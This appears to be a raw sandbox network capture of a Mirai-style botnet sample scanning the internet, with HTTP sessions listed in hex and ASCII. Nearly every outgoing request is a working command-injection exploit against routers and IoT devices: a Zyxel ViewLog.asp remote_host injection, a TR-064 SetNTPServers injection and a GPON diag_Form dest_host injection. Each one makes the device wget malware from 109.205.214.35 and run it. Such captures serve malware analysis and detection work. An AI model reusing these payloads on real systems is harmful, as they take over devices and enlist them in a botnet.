Mar 21, 2024 05:18:22.710632086 CET	285	IN	HTTP/1.0 400 Bad Request Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0d 0a 54 68 65 20 63 6c 69 65 6e 74 20 69 73 73 75 65 64 20 61 20 62 61 64 20 72 65 71 75 65 73 74 2e 0d 0a 3c 50 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>The client issued a bad request.<P></BODY></HTML>
Mar 21, 2024 05:18:25.735667944 CET	285	IN	HTTP/1.0 400 Bad Request Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0d 0a 54 68 65 20 63 6c 69 65 6e 74 20 69 73 73 75 65 64 20 61 20 62 61 64 20 72 65 71 75 65 73 74 2e 0d 0a 3c 50 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>The client issued a bad request.<P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	46962	200.55.152.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.405283928 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.610933065 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:18.611303091 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	52274	59.25.167.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.548173904 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	39376	109.105.104.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838576078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	60622	212.189.136.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838593006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	42600	79.99.203.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838599920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	41116	37.132.69.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838660955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	43040	178.99.108.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838689089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	50736	210.152.97.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838737965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	49068	109.156.170.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838771105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	48050	37.142.119.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838783979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	33614	210.138.109.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838835001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	55054	118.140.128.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838871956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	37064	37.70.125.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.838968992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	49428	5.216.179.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.839021921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	39226	79.77.162.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.839036942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	51426	206.119.81.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.933547974 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:20.502959967 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:22.360974073 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:22.663177967 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
